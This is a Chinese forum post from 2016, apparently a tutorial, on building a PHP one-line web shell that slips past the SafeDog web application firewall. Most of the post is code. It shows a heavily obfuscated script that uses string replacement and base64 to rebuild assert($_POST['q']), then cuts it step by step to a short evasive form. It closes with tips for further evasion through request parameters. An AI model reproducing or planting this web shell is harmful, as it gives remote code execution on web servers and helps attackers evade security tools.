QQ截图20160904201443.png (147.72 KB, 下载次数: 82)
2016-9-12 20:53 上传
首先我们说说php,需要用到三个函数
//$b = str_replace(‘aa’,’a’,$a);//1.被替换内容 2.用作替换内容 3.替换的内容
//base64_encode();//加密
//base64_decode();//解密
$o= ‘YXNzZXJ01’;
$q = str_replace(‘YXNzZXJ01′,’YXNzZXJ0’,$o);
$a = ‘Y11qmq1qE1=q11’;
$a1 = str_ireplace(‘q’,”,$a);
$a2 = str_ireplace(‘1’,”,$a1);
$b = ‘aNaFaa9qqqaka’;
$b1 = str_ireplace(‘a’,”,$b);
$za = “fg”;
$zb = str_ireplace(‘g’,’s’,$za)
$zc = str_ireplace(‘s’,’e6′,$zb)
$zd = str_ireplace(‘f’,’s’,$zc)
$se6 = $zd
$e = base64_encode(’emRn’);
$e1 = str_ireplace(‘Sbg=’,’5′,$e);
$e2 = ‘t’;
$e3 = base64_encode(‘$e2’);
$jg = $a1.$se6.$b1.$e3;
$qa = ’11m1E1=11′;
$jg1 = str_ireplace($qa,’q’,$jg);
$jg2 = base64_encode($e1);
$jg3 = $jg1.$jg2;
$jg4 = ‘NF9qqqkJGUyWlcx’;
$jg5 = str_ireplace($jg4,$e2,$jg3);
$jg6 = ‘co2de’;
$jg7 = str_ireplace(‘NT’,$jg6,$jg5);
$jg8 = str_ireplace(‘qs’,’as’,$jg7);
$jg9 = str_ireplace(‘tco2′,’_tco’,$jg8);
$jg10 = str_ireplace(‘0=’,”,$jg9);
$jg11 = base64_encode($jg10);
$jg12 = str_ireplace(‘ZTZfdGNvZGU=’,’ZTY0X2RlY29k’,$jg11);
$jg13 = str_ireplace(‘WWFzZT’,’YmFzZT’,$jg12);
$jg14 = ‘e’;
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16($q);
$z($_POST[q]);
?>
但是这个可以过狗,只是太长了,所以后半夜主要就是优化代码。优化代码。
以上虽然很多,但主要思路就是把不过狗的一句话<?php assert($_POST[“q”]);?> 把assert($_POST[“q”]);?>给base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST[“q”]);?> 的base64加密,然后在解密,就可以。
详细过程不分析了,烧脑。这里主要讲,如何快速的编写过狗一句话。
这里主要关注最后两行↓
$z = $jg16($q);
$z($_POST[q]);
我们的一句话最终执行的效果肯定是:<?php assert($_POST[“q”]);?>
那么这里$z肯定就是assert,我们echo一下$z试试
如下图
1.png (263.16 KB, 下载次数: 81)
2016-9-12 20:52 上传
无视报错信息,这个是我才搭建的集成环境,没配置好。
可以看到上面echo出了assert
那我们如果直接把$z替换成assert来执行,看看结果会怎么样?
如下图
2.png (188.65 KB, 下载次数: 87)
2016-9-12 20:52 上传
把上面的代码多行注释掉,直接替换是被杀的。
$z = $jg16($q);
$z($_POST[q]);
那我们尝试着把$jg16变量替换成明文试试,看看马到底杀的是什么地方。
先echo一下看看是什么内容,然后替换成明文。
如下图
3.png (214.77 KB, 下载次数: 86)
2016-9-12 20:52 上传
那我们就可以知道,
$z = $jg16($q);
$z($_POST[q]);
变量jg16传递过来以后变成了
$z = base64_decode($q);
$z($_POST[q]);
这个时候可以看出来,$_POST[q]是由$z来执行的,$z=assert
也就是说
$z = base64_decode($q); 实际上是assert = base64_decode($q);
那么basw64解密的这个$q一定是assert的base64加密。
所以我们继续,
$z = $jg16($q);
$z($_POST[q]);
替换成
$z = base64_decode($q);
$z($_POST[q]);
看看会不会被杀。
如下图
4.png (264.83 KB, 下载次数: 82)
2016-9-12 20:53 上传
那我们现在知道了,base解密这个函数是被杀的,那我们这样,变量保留。
尝试用
$z = $jg16($q的明文);
$z($_POST[q]);
这样的话
base解密函数还是加密的,安全狗看不到。这样尝试一下,我们知道$q是assert的64加密,
我们替换一下然后看看结果
$z = $jg16(assert);
$z($_POST[q]);
如下
5.png (300.25 KB, 下载次数: 72)
2016-9-12 20:53 上传
现在最后5行代码就是这样了
$jg14 = ‘e’;
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
我们尝试把$jg16替换成明文,由倒数第一行可知,$=assert 所以倒数第二行代码就是assert=$jg16(YXNzZXJ0);
而前面我们知道YXNzZXJ0是assert函数的base64加密,所以从YXNzZXJ0到assert有个base64解密的过程,这个过程就是变量$jg16。所以变量$jg16=base64_decode
我们把$jg16直接替换成base64_decode 不明白的echo一下也可以,我们直接替换。
为止一句话为
$jg16 = base64_decode;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
如果成功的话,那前面所有的代码都可以删除了。
如下图
7W_$%UH@(973AFJ%TCMN(XJ.png (268.33 KB, 下载次数: 73)
2016-9-13 09:42 上传
最终2016过狗一句话为:
密码:w3bsafe
-------------------------------------------------------------------
其实说白了,一句话永远不可能杀完,因为$_POST是个正常的提交方式,不可能被杀。然后其他assert或者eval一般也不会被杀,因为很多程序员要用到。狗只是针对特征杀,比如某个一句话用的人多了就会被杀。
-------------------------------------------------------------------
后续思路:
如果这个在被杀,还有很多方法过。最简单的就是用传参的方式,安全狗不好检测的。
如果传参也被杀,那我传参只传一个字母 这样肯定不可能被杀,因为几乎所有网站都需要传递id参数,然后把id参数替换成assert或者eval的base64加密。 这是最简单,最有效,最难防御的办法。